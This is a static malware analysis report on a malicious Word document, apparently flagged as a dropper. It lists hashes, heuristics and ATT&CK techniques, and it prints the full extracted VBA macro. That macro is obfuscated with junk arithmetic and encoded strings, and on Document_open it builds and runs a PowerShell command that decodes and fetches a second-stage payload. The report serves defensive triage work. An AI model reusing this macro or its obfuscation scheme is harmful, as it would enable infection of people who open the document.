Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8d647873341d578…

MALICIOUS

Office (OLE)

103.0 KB Created: 2018-06-17 21:19:00 Authoring application: Microsoft Office Word First seen: 2018-06-25
MD5: 0485ddcea707465e53e21ae1af1cfedd SHA-1: 1d22a637b2f7ebf82d99fcabd0897eeb877ee45a SHA-256: f8d647873341d5782f27491bb81ea8f18642674635ed93b2a726ce462b01c6f5
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' firing indicate that the 'Document_open' macro attempts to execute a command using the Shell() function. The reconstructed PowerShell command 'JCWBzrKvOwerSH...' suggests the macro is designed to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6591592-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6591592-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    rMLqX = QdhCXo
rQQCf = OIijiVC + Shell(prhwow + mpWzEO + EIBQLCT, 2194 - 2194)
wcnwq = Atn(vfNvi + Sin(zcSVpA) - 34842 / 48392)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17635 bytes
SHA-256: b08cc975c55c985bb63d3fe57e6b7e8d8b868597362aec38aaa8eb5659b19c6a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
261 of 478 identifiers look randomly generated (e.g. 'BqJjhqSPnVWP') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JCWBzrKv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function NGIkV()
On Error Resume Next
jHipt = Atn(GSWEE + Sin(HiPbn) - 29213 / 22801)
nputI = 82707 + 45191
ijvjdr = 58449 / 49206
oviJG = zojEjH * CSng(84700 * Fix(15192)) * qYGjW + CSng(YHrwT + CLng(UTwpWN)) / (zUiuQp * CSng(17066) - (89962 + Fix(lmuRj) - (73886 + CLng(VBHBS - Log(nnLmw) - 58616 + Int(kPNtt)))))
WZAYX = wqMNn
CmSmi = Atn(obqTri + Sin(IaktRj) - 79366 / 88769)
wQiGl = 82788 + 92566
HSHNld = 59854 / 18671
IbziN = CLuMCi * CSng(64062 * Fix(92918)) * iEdjf + CSng(kbBYV + CLng(PMcsAi)) / (NubSK * CSng(94966) - (650 + Fix(wzLEdC) - (31167 + CLng(CHHQn - Log(AwKsp) - 74731 + Int(SUBANj)))))
QSKBQ = UlFjYF
YGiKSh = Atn(AprIcK + Sin(HRQcl) - 15938 / 61546)
AHnqsj = 15968 + 67981
HLdGz = 51204 / 88356
tLXizi = wKwjP * CSng(51573 * Fix(29397)) * HKvYfa + CSng(VZQRA + CLng(ulvBUj)) / (wdlpq * CSng(39401) - (17280 + Fix(bZbas) - (95666 + CLng(hnjDGn - Log(zNhirC) - 48686 + Int(furqq)))))
iCGGJj = soGwz
Izvltl = Atn(LFisi + Sin(YVcBOi) - 97690 / 88518)
qWOrV = 87280 + 26372
BtIwz = 85398 / 64304
OEizAz = hLhTG * CSng(14121 * Fix(17590)) * VEuaQ + CSng(oiLiz + CLng(pOPdh)) / (ETzYIJ * CSng(64247) - (59254 + Fix(dYdqR) - (63686 + CLng(smbSz - Log(ZaWOA) - 66675 + Int(SvElaD)))))
rQOrI = rqZMsO
NGIkV = iOoSvjhbs + Chr$(dwOwEIALXGf + 80 + wXQPQTTJPu) + "OwerSH" + uOibLE + IzOzajUoCm + dEjCpVqQaro + IzbpPMBjS
vtcwz = Atn(zhwUQ + Sin(ssvZja) - 73461 / 5507)
oWSwJ = 94245 + 36690
hoPKb = 68611 / 47048
XrEvl = CcuoUi * CSng(72474 * Fix(83661)) * UrQalL + CSng(WFfDNX + CLng(zovORT)) / (JwWwp * CSng(26555) - (58633 + Fix(Yjiwv) - (95208 + CLng(sWhqh - Log(wPiji) - 73600 + Int(AYPTXC)))))
TOYsmL = ultWYR
rSjCz = Atn(KUfKXS + Sin(ouNLf) - 94634 / 19381)
NSCtB = 9043 + 99331
WizOS = 37774 / 67266
tlAzOF = mWbZh * CSng(54372 * Fix(11306)) * jGhwiv + CSng(PiuOaz + CLng(ihTAk)) / (nsnzt * CSng(65212) - (97658 + Fix(vzjqH) - (51049 + CLng(nUIUn - Log(VVEzi) - 28819 + Int(otFhrk)))))
tCzXW = UkFXqA
End Function
Function MlPQSMiH(mpWzEO)
On Error Resume Next
zQGpi = Atn(OtjjbC + Sin(liwWR) - 23743 / 12476)
qucMs = 82799 + 86873
jNQoh = 61548 / 81391
tBuamV = moidbS * CSng(72062 * Fix(16260)) * vAMac + CSng(HGJPj + CLng(UCacpV)) / (AEzkF * CSng(69969) - (97072 + Fix(tNZjE) - (72411 + CLng(RriSD - Log(unRWov) - 33522 + Int(DAlwlH)))))
nmTdm = bXcZz
OwtQit = Atn(PWSIO + Sin(wbHwJi) - 7096 / 41335)
uhqNtB = 99423 + 39170
BFjtvV = 21359 / 27024
OiZBB = CpBzI * CSng(45664 * Fix(62648)) * tIZdSH + CSng(usNaWz + CLng(DvfjV)) / (YIuck * CSng(3485) - (47371 + Fix(bcqINk) - (93649 + CLng(UXhMb - Log(mLaiS) - 60165 + Int(FRcBWX)))))
rMLqX = QdhCXo
rQQCf = OIijiVC + Shell(prhwow + mpWzEO + EIBQLCT, 2194 - 2194)
wcnwq = Atn(vfNvi + Sin(zcSVpA) - 34842 / 48392)
WDEni = 18753 + 56508
ZZlint = 2755 / 29895
nUPfvn = pwwEIL * CSng(32926 * Fix(4013)) * IEdif + CSng(Bwtsj + CLng(oHrBkN)) / (svLcq * CSng(68637) - (77525 + Fix(GSjwEB) - (79072 + CLng(ZjvNmT - Log(lCEBA) - 80995 + Int(DYzMJ)))))
zsrVi = twWVXl
End Function
Private Sub Document_open()
On Error Resume Next
iZjMKw = Atn(XhIXb + Sin(Mwbji) - 99923 / 45475)
GaWAN = 74189 + 65444
oLCcCH = 98696 / 74323
zukpXC = QDXtQ * CSng(10426 * Fix(93529)) * mitUbs + CSng(wBsASL + CLng(mjOhZ)) / (zHfKv * CSng(84884) - (62598 + Fix(wiVTK) - (76789 + CLng(WTSGpT - Log(jwWjpE) - 32169 + Int(iifvof)))))
PzEYks = dIzMZ
ZimZO = Atn(ZtWVD + Sin(sssam) - 54876 / 2493)
bRdAii = 14285 + 92679
XADtA = 89446 / 15309
oHPuO = kIrXku * CSng(87200 * Fix(46971)) * rcDEG + CSng(ALJwj + CLng(zBcRfq)) / (LwJpi * CSng(80314) - (86607 + Fix(Hoovi) - (86375 + CLng(ICiCp - Log(nwFwiv) - 71305 + Int(OGFDr)))))
sijrrf = aPFncN
Application.Run CRhLKt + "MlPQSMiH" + AQhStEDGodB, LNYzY + NGIkV + jmIPmTN
XEWoBV = Atn(UkoUT + Sin(Cjibb) - 35144 / 24107)
akscCs = 27387 + 76956
dIjdiq = 62875 / 61140
cCbpZ = tYUFjA * CSng(77714 * Fix(72601)) * KNLSL + CSng(oZBdaT + CLng(XrPiE)) / (GpPpH * CSng(91088) - (43256 + Fix(TWhtlw) - (63317 + CLng(pjvdm - Log(caMzLs) - 2619 + Int(pBwafW)))))
LTKWSc = olSaG
vIUMb = Atn(JbMhP + Sin(QDoXa) - 50320 / 9255)
KqZvaG = 35592 + 39405
Escpfh = 83799 / 45009
NJHuwn = WiVon * CSng(55915 * Fix(3059)) * jkHKn + CSng(zmhBzs + CLng(jQZNc)) / (GAOXf * CSng(72661) - (57154 + Fix(nESoh) - (79260 + CLng(MpzIh - Log(NXZsw) - 88862 + Int(mOvaK)))))
ZIrdRt = rdYkX
End Sub


Attribute VB_Name = "BqJjhqSPnVWP"
Function uOibLE()
On Error Resume Next
qJpbP = 12714 / 1172
jiFSNr = mGiikZ * CSng(55335 * Fix(29670)) * taPda + CSng(rbCwz + CLng(WlhBu)) / (FIQkVh * CSng(42166) - (9769 + Fix(Roqmtm) - (2998 + CLng(QrlTWm - Log(PQrMPU) - 2706 + Int(pqXHCI)))))
WfwTKJ = wIMpCG
iHVNa = Atn(MJGcVK + Sin(JJOjV) - 74564 / 41071)
LWCUUq = 13773 + 27994
YGOHNEVA = "ell  & ((vaRIA" + "bLE '*M" + "DR*').NaME[3," + "11,2]-JOiN'') (" + " -JoIN(" + " '47V73n122x1" + "21V72P93<43V" + "54"
fBWKz = 97868 / 2827
QmAszj = KhMNjz * CSng(43577 * Fix(83166)) * AfQaI + CSng(SzEauQ + CLng(iUTisi)) / (KRjRWB * CSng(16832) - (82208 + Fix(ClXTiX) - (1301 + CLng(MdTUC - Log(XlVfwr) - 88861 + Int(EoKvj)))))
jIinBM = Wiswl
wEGobE = Atn(oWzAL + Sin(HWPPM) - 14145 / 56954)
juKkXj = 54329 + 76023
pRtAO = "L43x101L110P124" + "<3" + "8C100C105V" + "97C11" + "0{104-127V43L1" + "21<106P101V"
uqhtw = 27455 / 98783
woFqT = kdcFA * CSng(13534 * Fix(74931)) * SYSuNs + CSng(TJsZQi + CLng(YbMXrL)) / (uiKtG * CSng(73165) - (2345 + Fix(skcci) - (24051 + CLng(FrQwn - Log(fNQCYs) - 9886 + Int(tdPbf)))))
MACoY = qJqEbO
qHBHG = Atn(DQIzov + Sin(KVUGvX) - 58100 / 28964)
PXimXm = 58395 + 79585
wzPiwMw = "11" + "1n100V102n48-" + "47P77{1" + "25-104{105," + "111V43P54x" + "43{101,11" + "0L124P38V100-10"
XzwzO = 90271 / 58078
UDBIV = KZNnp * CSng(32788 * Fix(3524)) * ntqmXi + CSng(ETCAPa + CLng(EfBiai)) / (zAjCkf * CSng(68841) - (55785 + Fix(mzDib) - (68149 + CLng(IItaP - Log(wIFmiU) - 65514 + Int(HqTrqs)))))
HkqkrN = VvNnj
jmwMb = Atn(QCMsA + Sin(HsZhH) - 56501 / 25424)
TOcNu = 61438 + 46924
iAapoGBBPD = "5<97,110P10" + "4x12" + "7x43P8" + "8x" + "114C120C1" + "27P110n102n37P" + "69" + "V110,127P37L92V" + "11" + "0L105L7"
SJQNUI = LuHjnq
KdGFz = 16263 / 64715
Gtuhza = 88054 + 64073
LOdqm = oBzjZl * CSng(89318 * Fix(54213)) * QiuTD + CSng(upjTRD + CLng(PPUkz)) / (ZcHAan * CSng(64852) - (88804 + Fix(HHzLR) - (87069 + CLng(UfadX - Log(YwWUi) - 69816 + Int(iLonvD)))))
IdTfW = Atn(iiZWFm + Sin(zupJU) - 52399 / 15288)
tUFFw = "2C103<98<11" + "0<101n127P4" + "8<47V1" + "23x9" + "9V70{90V64P43L5"
QfQuUY = Vcbwz
VcDhi = 77540 / 79079
AOvZn = 76165 + 43368
TUvUwz = aYiwn * CSng(13411 * Fix(25170)) * YppDdO + CSng(vUNnd + CLng(JXUuYn)) / (vSAKrw * CSng(38544) - (66658 + Fix(qDQnZW) - (68818 + CLng(ktQGZa - Log(KWWRA) - 27649 + Int(OTXuG)))))
iLfuiw = Atn(JXqRnn + Sin(JfXjW) - 85532 / 86281)
jORqZJbRvOJ = "4x43<44{99<12" + "7{127<1" + "23P49V36L36x59C" + "62C5" + "6C57<111L1" + "01," + "106" + "-3"
lWhDJV = tbiNR
iKEmMO = 71140 / 15243
fEdMss = 66460 + 92386
XNwdqD = wPpUba * CSng(74775 * Fix(44493)) * BlRCHv + CSng(vNpXZU + CLng(vGAcHC)) / (rhKdfL * CSng(11970) - (54837 + Fix(FRGTr) - (13402 + CLng(tjcRB - Log(BfSbZ) - 88576 + Int(azfUw)))))
DHYbj = Atn(TCjGSB + Sin(opGvil) - 92131 / 52705)
FizdnwNIRG = "7<104C10" + "0P102,36x113" + "P88,114x71<64" + "L66n97,36P7" + "5{9" + "9<127C127C" + "123<49<36V36,12" + "4x124{124C37"
UoksO = DDcMDB
YJEpMa = 28389 / 91170
zZaFY = 38077 + 4042
jAiXc = XwdER * CSng(53471 * Fix(39416)) * fQljlq + CSng(KNOPFL + CLng(LGpRFk)) / (VzjjH * CSng(66020) - (94537 + Fix(dvpESu) - (19155 + CLng(riLQZ - Log(UHWCsk) - 44307 + Int(AVjiJ)))))
FAiHn = Atn(kSZAs + Sin(BnwjtU) - 56404 / 66104)
KrHBKNsz = "x10" + "2-100L98" + "L96n98-99C98" + "x127" + "L37V" + "121-126V" + "36n115L78n105V"
uOibLE = YGOHNEVA + pRtAO + wzPiwMw + iAapoGBBPD + tUFFw + jORqZJbRvOJ + FizdnwNIRG + KrHBKNsz
End Function
Function IzOzajUoCm()
On Error Resume Next
PrTUS = jhhsw
qzwzEd = 21366 / 72611
VKJijQ = 33120 + 53820
Abnjq = SbmVXG * CSng(61511 * Fix(6797)) * JZHfqr + CSng(fcqnt + CLng(dqwirF)) / (JFhAdl * CSng(3003) - (49094 + Fix(ibpHJY) - (19973 + CLng(llXjw - Log(qDhmz) - 92969 + Int(sOaPq)))))
sHCEq = Atn(zwOzmW + Sin(jqsFh) - 7331 / 24597)
FTzckYwL = "120V36V75C99L1" + "27P127{123V49x3" + "6,36-124x124" + "{1"
YbKkB = FuKnqT
bkiZXF = 43629 / 55426
bFuPs = 31276 + 62853
ItLdJ = JGFlO * CSng(73710 * Fix(23954)) * iuCkN + CSng(JYzLNj + CLng(sBjMM)) / (lEWfqK * CSng(32490) - (83208 + Fix(bwiMzZ) - (44126 + CLng(NHCrrk - Log(APamRF) - 42290 + Int(BHbzM)))))
MZwzj = Atn(DhBjpV + Sin(WEKmu) - 37770 / 54813)
QZoNzSRrTV = "24V37-111n110C" + "111-98,101" + "<109<98,120P12" + "0<98L37<1" + "23{110,37L"
DVZSU = NOUdb
EaLLiw = 6578 / 22646
qwwDz = 39810 + 82441
jijkk = SYJrjE * CSng(93954 * Fix(21706)) * KQVXE + CSng(kfmLNt + CLng(cTFBlj)) / (zbzQsn * CSng(42700) - (1832 + Fix(JPRfim) - (75047 + CLng(zldwwz - Log(Xvjvp) - 71178 + Int(SNTQjR)))))
iRVjj = Atn(wwOApj + Sin(EAFuzd) - 50649 / 85410)
YdncDrKSvR = "98C127n36" + "<6" + "2P113,120<110n3" + "6V"
PiTTn = WAoJa
OkTVc = 16847 / 72966
iGJJaS = 14887 + 47876
FqMiN = YXwzsC * CSng(68097 * Fix(74185)) * Blfwh + CSng(JzQOVU + CLng(BEivm)) / (zfNkGL * CSng(80161) - (83217 + Fix(difzT) - (97783 + CLng(omJrh - Log(tvTsbW) - 41756 + Int(VzPjpf)))))
BZmrsm = Atn(hjVAC + Sin(PrmvSA) - 71808 / 33861)
kIZpzm = "75,99x127P1" + "27P123,4" + "9C36{36{124V124" + "x124V37n97,125"
zsHXZZ = XzGaFo
piwkdD = 75275 / 74605
kWaTb = 58292 + 56108
URouW = KBYXKK * CSng(92012 * Fix(37981)) * WjZci + CSng(uirKD + CLng(sKztzf)) / (vwqZzB * CSng(5943) - (39696 + Fix(QzPSQP) - (7364 + CLng(CBwuZn - Log(jSFSrY) - 57282 + Int(iUYIj)))))
cabvS = Atn(rvlPc + Sin(Prwjj) - 41893 / 21045)
JjbDTY = "x57-50-37n" + "121" + "n126V36{94,90C" + "103n89" + "n126<36x75x9" + "9n12" + "7<127<123x49n3" + "6P36P1" + "11"
hiWNG = bNvzh
YbSGP = 69339 / 20463
pplImQ = 96619 + 76602
znUzi = SOZEKn * CSng(45156 * Fix(39947)) * qRVJhO + CSng(nBzHvr + CLng(AWmJpK)) / (Fbwhhs * CSng(482) - (1090 + Fix(tSUCSU) - (89971 + CLng(GnMzSA - Log(vaTZi) - 45222 + Int(hKwkqY)))))
zWkmXD = Atn(apcjbz + Sin(Bwkma) - 49924 / 73682)
EEHEG = "x110V101n10" + "6P121x100V" + "120L3" + "7-123P103" + "P36C71,100n121P"
nwkESd = imNtPq
AsDrj = 86897 / 14987
kqsGa = 52168 + 61956
OwPwp = zJURoF * CSng(30224 * Fix(74797)) * BFkwkW + CSng(rdsRW + CLng(iLjoDw)) / (jPXXOT * CSng(35860) - (85389 + Fix(IcEzvq) - (1735 + CLng(ivqrGl - Log(XVPaI) - 70552 + Int(BRwLm)))))
MhQDiN = Atn(PMZmr + Sin(qJIIw) - 55734 / 58141)
VPTVI = "110L102C36-71" + "P63<50" + "C70L76{1" + "25L" + "36L44" + "P37P88x123{103" + "x9" + "8{12"
urrcE = maEtC
LuNfX = 15489 / 6358
wdjwu = 83723 + 86993
CiIQL = MLvUNo * CSng(48132 * Fix(51504)) * nsMMd + CSng(jjOap + CLng(aIlzQh)) / (wCwBRH * CSng(34396) - (52121 + Fix(YBBmV) - (52973 + CLng(GhfPnT - Log(tqWtmD) - 19154 + Int(zGuiz)))))
qvELuR = Atn(MZCaz + Sin(fRkRq) - 55470 / 7888)
hISdXOYfOT = "7{35L44x" + "75x44C34," + "48n4" + "7x10" + "9P66" + "x9" + "5L90<109,43" + ",54V43n47{73C12" + "2L"
lqarm = dnftsW
BMolhN = 44066 / 15311
jQTTmq = 59359 + 6790
pDBvo = AqfWJH * CSng(16032 * Fix(58907)) * jWHPf + CSng(NzaRV + CLng(ausjdz)) / (FnphPl * CSng(73271) - (69691 + Fix(WtfYm) - (16619 + CLng(PjPXCb - Log(biTjZ) - 92348 + Int(pfIQZX)))))
prdtZo = Atn(hlwISK + Sin(zNbodh) - 27215 / 5679)
XlGzM = "121<72n93P" + "37x101n11" + "0n115C127<35C5" + "8{39,43<50" + "L63"
IzOzajUoCm = FTzckYwL + QZoNzSRrTV + YdncDrKSvR + kIZpzm + JjbDTY + EEHEG + VPTVI + hISdXOYfOT + XlGzM
End Function
Function dEjCpVqQaro()
On Error Resume Next
ZCoGs = ZjwwWR
LaIXJJ = 63480 / 2268
GlKsSj = 53571 + 90820
fmvbjl = tTPov * CSng(63401 * Fix(39800)) * FbzLq + CSng(UKZaF + CLng(bovqj)) / (vKnwK * CSng(95935) - (84365 + Fix(ladhfa) - (31983 + CLng(mrjQE - Log(LcVBai) - 51543 + Int(YYIdl)))))
PJRzT = Atn(Quhru + Sin(mUBEHP) - 25850 / 16775)
lPuSjpf = "<62{63-56-" + "50-34x48V4" + "7P97" + "n69C71-105-7" + "3C102,43L54-4" + "3<47x110n101" + "x125C49-127L11" + "0C102P123L43C32" + "x43-44" + "x87L44"
ipBdc = nrVoCS
pIhLc = 50782 / 16940
iGuwGD = 40056 + 32740
PcLEiI = KwjtcS * CSng(85001 * Fix(82598)) * cYiXTP + CSng(hQwCcN + CLng(djnjm)) / (unvRH * CSng(73736) - (3845 + Fix(YRMOEQ) - (58109 + CLng(qtZAqi - Log(mGAztF) - 24483 + Int(lFiloc)))))
QjNzJ = Atn(jnYzZz + Sin(uGlWPz) - 16484 / 21855)
cTHzdNVvnB = "{43" + "n32<43<47" + "L109V" + "66C95{90L1" + "09P43-32C" + "43{44L37<1" + "10<1"
BuciF = YElBC
wUiOci = 94762 / 91720
AUGXuf = 38301 + 16154
oUBJr = RzWJi * CSng(97469 * Fix(36119)) * zLRNzi + CSng(KFtfpo + CLng(ohvoRI)) / (hcTBj * CSng(49158) - (45388 + Fix(tndhk) - (18313 + CLng(dRWdb - Log(OIiCPq) - 17775 + Int(OqhKiP)))))
wMOFWs = Atn(FBHER + Sin(EdSnjW) - 36621 / 39100)
cIhww = "15" + "{110x44x48-10" + "9P100x1" + "21-110{106L" + "104,99" + "{35" + "n47,92L12" + "1{"
crIfOQ = JhZEP
coVvjL = 33659 / 34870
uLZjlk = 44623 + 88407
LwOJNu = IQhIG * CSng(70991 * Fix(4654)) * AZYLP + CSng(lRRNDJ + CLng(iquaB)) / (pzNVrN * CSng(2952) - (92113 + Fix(TuVJI) - (3587 + CLng(MLMiBa - Log(zvJkMa) - 48831 + Int(iErMZn)))))
jzOjQ = Atn(XruAHD + Sin(iOXrPS) - 31412 / 49645)
NDjmWLh = "122V106<126n9" + "6<43-98x101" + "-43" + "V47<123L99" + "-70n90P64L34x11" + "2-127n121x11" + "4n112x47<7" + "7,125n1" + "04{105<111<"
dEjCpVqQaro = lPuSjpf + cTHzdNVvnB + cIhww + NDjmWLh
End Function
Function IzbpPMBjS()
On Error Resume Next
buqda = UiiPJ
znWzR = 2020 / 95370
FXuFUh = 99905 + 94473
XdwUZ = VQLZb * CSng(8386 * Fix(61001)) * VDzHW + CSng(kqUSs + CLng(wAbrkS)) / (UUfjtq * CSng(19297) - (76985 + Fix(OfnjZ) - (22298 + CLng(BUadr - Log(jIjcp) - 23926 + Int(pTpJF)))))
rqXFQ = Atn(RTcpi + Sin(KmbZW) - 19721 / 79139)
GvijI = "37n79-100L12" + "4L101P103-100" + "n106x111L77V98" + ",103C110," + "35" + ",47C92" + "{121-1"
BJBdmi = VpFWh
jNOiz = 97488 / 66821
ZDESB = 30459 + 60961
tPwiU = NDTXnP * CSng(29425 * Fix(97576)) * hzBlvS + CSng(uHAZiu + CLng(DwBVXZ)) / (zLJdB * CSng(32739) - (28454 + Fix(buAaK) - (42918 + CLng(AijHA - Log(pivPS) - 37961 + Int(YmtrY)))))
kosIuB = Atn(njFYIk + Sin(kwXlQ) - 49455 / 81758)
rhoQTPPXLHC = "22P106C12" + "6L96x" + "37C95n100C88{1" + "27" + "C121-98P101" + ",108-35<34<39"
djBJdw = OqXks
THGjUp = 76153 / 34470
ZXGiG = 60870 + 50631
Iazqb = iuLEf * CSng(9078 * Fix(82687)) * OGGbF + CSng(CwLDIz + CLng(qHAqT)) / (bsjCn * CSng(20511) - (42582 + Fix(adBqcR) - (40729 + CLng(AcfZk - Log(LPvhb) - 2878 + Int(nLNMwP)))))
fDSQj = Atn(bTJNj + Sin(lhGYLt) - 46889 / 28968)
DGMrQGzfB = "{4" + "3x47x97" + "P69V71," + "105x73x1" + "02P34L48" + "-8" + "8P127" + "x106L12" + "1V127"
TXAiM = MhPXnB * CSng(40336 * Fix(67782)) * jbEJOw + CSng(BioNZ + CLng(pEiGi)) / (KIAfQA * CSng(94957) - (64071 + Fix(zzrlwB) - (25560 + CLng(CXYEPW - Log(qwXHs) - 19645 + Int(jWiYrf)))))
iBtPG = 63130 + 74966
irPNG = nVptWz
nJRPcB = Atn(wcaDcQ + Sin(jGhuli) - 79747 / 35062)
qpQKQV = 5630 / 50843
HIACNu = ",38<91C12" + "1<100,104L" + "110,120L120P" + "43" + "V4"
AGVjb = LqQaZz * CSng(87407 * Fix(88742)) * QVzsH + CSng(pvvfn + CLng(XBSGC)) / (Ehluhf * CSng(29130) - (53469 + Fix(YTzzJV) - (38592 + CLng(bPHWpL - Log(ZAnAo) - 78145 + Int(UWCoMo)))))
PtJzP = 599 + 56876
auVIfX = viqFvj
oUdfk = Atn(cwidD + Sin(Irqua) - 29354 / 41313)
VhrOn = 82956 / 50773
QmZvwlL = "7<97{69n71-10" + "5<73n1" + "02C48," + "105-121,11" + "0<106<96" + "L48-" + "118V104V1"
ZrOAHc = ssqcY * CSng(77138 * Fix(15446)) * XkEvQk + CSng(aquPh + CLng(CKTVw)) / (vRRWj * CSng(35910) - (29419 + Fix(MEGCdC) - (3582 + CLng(vChLs - Log(RXGrv) - 95119 + Int(iWHZVM)))))
RKwkjG = 56568 + 53495
HqYHhi = JGSvm
FOXcBl = Atn(VkrliP + Sin(PRnnZj) - 545 / 89218)
oXRJi = 66181 / 98023
ioascXRA = "06{127x104n99-" + "112<124L121P" + "98P127V110x" + "38P99<100P1" + "20"
wfdLzj = jcSnl * CSng(27496 * Fix(57427)) * rhhnjd + CSng(NEHBi + CLng(kILdf)) / (LKuwju * CSng(97997) - (50866 + Fix(AIBAcd) - (81220 + CLng(lRjId - Log(YDwAz) - 98887 + Int(GJFWS)))))
GRhAT = 9128 + 36928
JAtinY = FoEbwv
wkzskD = Atn(NwGAGc + Sin(pZMvii) - 85919 / 42476)
nuzbLt = 97386 / 90717
fiJGIH = "n127<43n4" + "7V8" + "4-3" + "7-7"
arKwlc = UwLXwc * CSng(907 * Fix(13058)) * nwdtnu + CSng(rzcVhM + CLng(lpaQS)) / (caOdLk * CSng(57374) - (72279 + Fix(wuFXu) - (18886 + CLng(Kpwjv - Log(wIGvH) - 93579 + Int(hVMhPJ)))))
WFdhzK = 77147 + 68336
ciXHlw = KHtQkB
hAiDQ = Atn(SBhQK + Sin(rXikT) - 72959 / 92666)
bFWPc = 63794 / 21659
IRjNmTmvTVm = "8,115" + "n104C110" + "C123{1" + "27" + "C98C100{101" + "C37,70C110-" + "120n1"
vTAlbd = ajzaZ * CSng(99334 * Fix(86661)) * fuqUd + CSng(VLHifj + CLng(mcIoqp)) / (okLFjo * CSng(35781) - (63542 + Fix(aXbzjK) - (19770 + CLng(iHSaH - Log(HwzooH) - 83124 + Int(iKRNvj)))))
aqlqFD = 5153 + 71347
PaauS = lhMAs
npHoaj = Atn(DjubR + Sin(GjXAjr) - 7341 / 16679)
ziZuop = 32865 / 60482
cYjPYfwtT = "20C106V10" + "8L110" + "{48C118P11" + "8'.S" + "plIt( " + "'C-{V<LP" + ",xn' )"
jDfcD = dOfsRm * CSng(6936 * Fix(47770)) * rULRN + CSng(zfCQV + CLng(RkwIq)) / (OoMuwr * CSng(54599) - (62061 + Fix(BUjFK) - (41801 + CLng(wbUhZ - Log(hYcMh) - 71125 + Int(ihkbI)))))
uNpvf = 98221 + 74287
zVlCB = zssJk
kzwWUo = Atn(szLTKL + Sin(PmXoIF) - 24922 / 13410)
RlJrTs = 38795 / 69196
IPpoiozwTM = "| % { " + "[CHAR]( $_-b" + "Xo" + "R  0x" + "0b  ) }))"
IzbpPMBjS = GvijI + rhoQTPPXLHC + DGMrQGzfB + HIACNu + QmZvwlL + ioascXRA + fiJGIH + IRjNmTmvTVm + cYjPYfwtT + IPpoiozwTM
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.